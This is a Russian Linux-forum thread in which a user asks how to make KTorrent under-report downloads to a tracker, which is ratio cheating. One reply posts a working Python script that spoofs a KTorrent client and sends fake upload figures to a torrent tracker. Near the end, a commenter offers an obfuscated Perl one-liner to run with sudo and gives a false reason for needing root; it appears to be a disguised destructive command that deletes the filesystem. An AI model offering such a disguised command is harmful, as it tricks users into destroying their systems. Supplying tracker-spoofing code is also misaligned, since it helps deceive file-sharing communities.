LINUX.ORG.RU

Обманывать не хорошо

urxvt ★★★★★
()

где именно в сорцах ktorrent запрятана функция отправки статистики на сервер

man grep

хочу download на 0 помножить.

Подозрительно будет.

feanor ★★★
()
Ответ на: комментарий от feanor

>man grep

Разве я спросил ЧЕМ найти функцию? Или вы предлогаете мне поискать словосочетание «функция отправки статистики на сервер»?

Подозрительно будет.

Какая разница как будет? Не в этом проблема.

selector
() автор топика
Ответ на: комментарий от selector

Или вы предлогаете мне поискать словосочетание «функция отправки статистики на сервер»?


Обычно функции,структуры и переменные в исходниках называют такими именами, чтобы было понятно для чего они нужны и что делают. Я так смог найти в исходниках libtorrent нужную функцию.

feanor ★★★
()
Ответ на: комментарий от feanor

Да как раз в исходниках libtorrent функции и называются CurUpload или CurDownload.

Но я бы рекомендовал попробывать самому поискать прежде чем в ман по grep тыкать.

Я вот попробывал, и как вы можете догадться не нашел, поэтому и спрашиваю на форуме.

selector
() автор топика
#!/usr/bin/env python                  

PORT = 6881
PEER_ID_PREFIX = '-KT3280-'
USER_AGENT = 'KTorrent/3.2.8'
UPLOAD_SPEED = 324021 # b/s  


import sys
import random
from time import sleep
from datetime import datetime, timedelta
from hashlib import sha1                
from urllib import urlencode            
from urllib2 import Request, urlopen    
from urlparse import urlsplit, urlunsplit
from cgi import parse_qsl                
from string import ascii_letters, digits 

try:
    from BTL import bencode
except ImportError:        
    try:                   
        import bencode     
    except ImportError:    
        print 'Cannot find bencode module.'
        print 'Either install Python BitTorrent client from http://bittorrent.com'
        print 'or download a separate bencode module from http://pypi.python.org/pypi/BitTorrent-bencode/5.0.8'
        sys.exit(1)                                                                                            



def read_torrent(filename):
    return bencode.bdecode(open(filename).read())

    
def get_info_hash(torrent_info):
    return sha1(bencode.bencode(torrent_info)).digest()


def get_file_size(torrent_info):
    try:                        
        return torrent_info['length']
    except KeyError:                 
        return sum(file['length'] for file in torrent_info['files'])


def make_peer_id():
    num_random_chars = 20 - len(PEER_ID_PREFIX)
    alphabet = ascii_letters + digits          
    random_string = ''.join(random.choice(alphabet) for i in range(num_random_chars))
    return PEER_ID_PREFIX + random_string


def make_announce_url(torrent_data, peer_id, uploaded):
    base_url = torrent_data['announce']
    scheme, netloc, path, base_query, fragment = urlsplit(base_url)
    base_query_list = parse_qsl(base_query)
    query_list = base_query_list + [
            ('info_hash', get_info_hash(torrent_data['info'])),
            ('peer_id', peer_id),
            ('port', PORT),
            ('uploaded', uploaded),
            ('downloaded', get_file_size(torrent_data['info'])),
            ('left', 0),
    ]
    query = urlencode(query_list)
    return urlunsplit((scheme, netloc, path, query, fragment))


def fake_upload(torrent_data):
    peer_id = make_peer_id()
    uploaded = 0
    while True:
        url = make_announce_url(torrent_data, peer_id, uploaded)
        request = Request(url, None, {'User-Agent': USER_AGENT})
        response = bencode.bdecode(urlopen(request).read())
        if 'failure' in response:
            print 'Announce failed: %s' % response['failure']
            sleep(60)
        else:
            interval = response['interval']
            will_sleep_until = (datetime.now() + timedelta(seconds=interval)).strftime('%H:%M:%S')
            print 'Uploaded %s bytes, next request at %s.' % (uploaded, will_sleep_until)
            uploaded += UPLOAD_SPEED * interval
            sleep(interval)


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 2:
        print 'Usage: %s <filename.torrent>' % sys.argv[0]
        sys.exit(1)
    torrent_data = read_torrent(sys.argv[1])
    fake_upload(torrent_data)
kot_otbelivatel
()
Ответ на: комментарий от smalcom

Я не буду офтопить и разводить холивар по поводу выбора клиента. Ветка создана для решения канкретной задачи.

selector
() автор топика
Ответ на: комментарий от selector

где именно в сорцах ktorrent запрятана функция

лучше на transmission остаться чем пользоваться такими костылями

Я не буду офтопить и разводить холивар по поводу выбора клиента

не будешь? посмотри какую х...ню ты уже написал. небудет он...

smalcom
()
Ответ на: комментарий от GreyDoom

топикстартер - очень очень очень нехороший человек

k0l0b0k ★★
()

топикстартер - очень очень очень очень нехороший человек

smalcom
()

Накручивая рейтинг, ты даёшь аплоадить другим, тем самым дав им возможность растить свой рейтинг законным образом. Ты берёшь на себя их грехи, как Христос, и я называю это благодеянием. Ругайтесь, Христа тоже ругали.

kot_otbelivatel
()
Ответ на: комментарий от kot_otbelivatel

>Накручивая рейтинг, ты даёшь аплоадить другим

это как? о_О

k0l0b0k ★★
()

иди вон с моего ЛОРа, быдло



развелось завравшейся школоты ...

PayableOnDeath
()

Дели загруженный на тыщщщщу, всеж беспалевней.

kir4
()

Попробуй так:
cat file.torrent | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Права рута необходимы для работы с raw socket.

AITap ★★★★★
()
Ответ на: комментарий от AITap

>cat file.torrent | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

о! вот и однострочник!!! :) а я удивлялся, что его в другом треде среди кучи кода не привели :)

Ingwar ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.